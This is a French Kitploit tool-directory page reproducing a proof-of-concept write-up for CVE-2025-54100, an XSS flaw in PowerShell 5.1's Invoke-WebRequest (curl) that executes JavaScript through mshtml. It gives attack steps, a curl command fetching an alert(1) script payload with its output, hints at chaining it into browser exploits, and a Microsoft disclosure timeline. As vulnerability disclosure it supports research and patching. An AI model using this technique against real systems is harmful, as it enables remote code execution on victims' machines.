Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-54100 — Preuve de concept pour CVE-2025-54100 : XSS dans Invoke-WebRequest de PowerShell via mshtml.HTMLDocumentClass, permettant l'exécution de code à distance lors de l'utilisation de curl avec du JavaScript malveillant. | Kitploit
Outils/GitHubGitHub/osman1337-security/cve-2025-54100
Analyse des VulnérabilitésExploitationSécurité WebCommandement et ContrôleOutil d'Accès à Distance
GitHubosman1337-security/cve-2025-54100

CVE-2025-54100

Preuve de concept pour CVE-2025-54100 : XSS dans Invoke-WebRequest de PowerShell via mshtml.HTMLDocumentClass, permettant l'exécution de code à distance lors de l'utilisation de curl avec du JavaScript malveillant.

Voir le dépôt
23549il y a 8 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-54100

La commande curl de PowerShell utilise Invoke-WebRequest en arrière-plan.

root@kitploit:~
PS C:\Users\melih> curl

cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:

https://learn.microsoft.com/fr-fr/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.5

En consultant la documentation du paramètre UseBasicParsing,

Ce paramètre est obsolète. Depuis PowerShell 6.0.0, toutes les requêtes Web utilisent uniquement l'analyse de base. Ce paramètre est inclus uniquement pour la compatibilité ascendante et toute utilisation n'a aucun effet sur le fonctionnement de l'applet de commande.

Le problème réside dans UseBasicParsing de l'applet de commande Invoke-WebRequest de PowerShell. UseBasicParsing utilise une analyse de base, il n'évalue aucun code JavaScript. Il se contente de lire le texte et de l'analyser.

Si ce paramètre n'est pas fourni, Invoke-WebRequest lance Internet Explorer en arrière-plan et tente d'analyser le code HTML en l'évaluant réellement, à l'aide de mshtml.HTMLDocumentClass. Effectuer une requête curl vers un site web hébergeant un code JavaScript entraîne l'exécution de code dans le navigateur du client. dans notre cas, le terminal Windows.

La documentation de mshtml.HTMLDocumentClass se trouve ci-dessous.

https://learn.microsoft.com/fr-fr/dotnet/api/system.windows.forms.htmldocument

En examinant le cycle de vie du premier document ci-dessus, on peut voir que,

Windows PowerShell 5.1 Août 2016 Publié dans Windows 10 Anniversary Update et Windows Server 2016, WMF 5.1 PowerShell 6.0 20 janvier 2018 13 février 2019 Construit sur .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)

Après quelques investigations, nous avons remarqué que les dernières versions de Windows 11, Server 22 et 25 sont livrées avec une ancienne version de PowerShell (5.1 par défaut) qui est vulnérable aux attaques XSS.

Nouvelle installation de Windows Server 22, alt text

PoC

L'attaque est très simple ;

  • Hébergez un site web avec une charge utile de script.
  • Exécutez curl dessus et vous verrez l'exécution.

alt text

root@kitploit:~
PS C:\Users\melih> curl 172.27.223.167:8000/a.js


StatusCode        : 200
StatusDescription : OK
Content           : <script>alert(1)</script>

RawContent        : HTTP/1.0 200 OK
                    Content-Length: 26
                    Content-Type: text/javascript
                    Date: Tue, 09 Dec 2025 15:50:40 GMT
                    Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
                    Server: SimpleHTTP/0.6 Python/3.12.3

                    <script>a...
Forms             : {}
Headers           : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
                    2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 26


Vous pouvez faire preuve de créativité et effectuer des actions comme open("about:blank").

alt text

Il faut également considérer que cela pourrait être utilisé dans des chaînes plus importantes, comme des exploits de navigateur, pour avoir une exécution fiable ou forcer le rendu du navigateur.

Chronologie des mises à jour MSRC

  • 15 oct. 2025 – La vulnérabilité a été soumise à l'équipe de sécurité Microsoft via MSRC.
  • 16 oct. 2025 – L'équipe nous a informés qu'elle avait commencé à examiner le rapport.
  • 17 nov. 2025 – L'équipe a confirmé la vulnérabilité et nous a informés qu'elle allait la corriger. Le message complet de l'équipe MSRC : « Nous avons confirmé le comportement que vous avez signalé. Nous poursuivrons notre enquête et déterminerons comment résoudre ce problème. Veuillez me faire savoir si vous avez des informations supplémentaires qui pourraient aider notre enquête, ou si vous avez des questions. »
  • 25 novembre 2025 – Le rapport a été classé comme Gravité : Important, Impact sur la sécurité : Exécution de code à distance et une prime de 5 000 $ a été attribuée.

alt text

Télécharger l’outil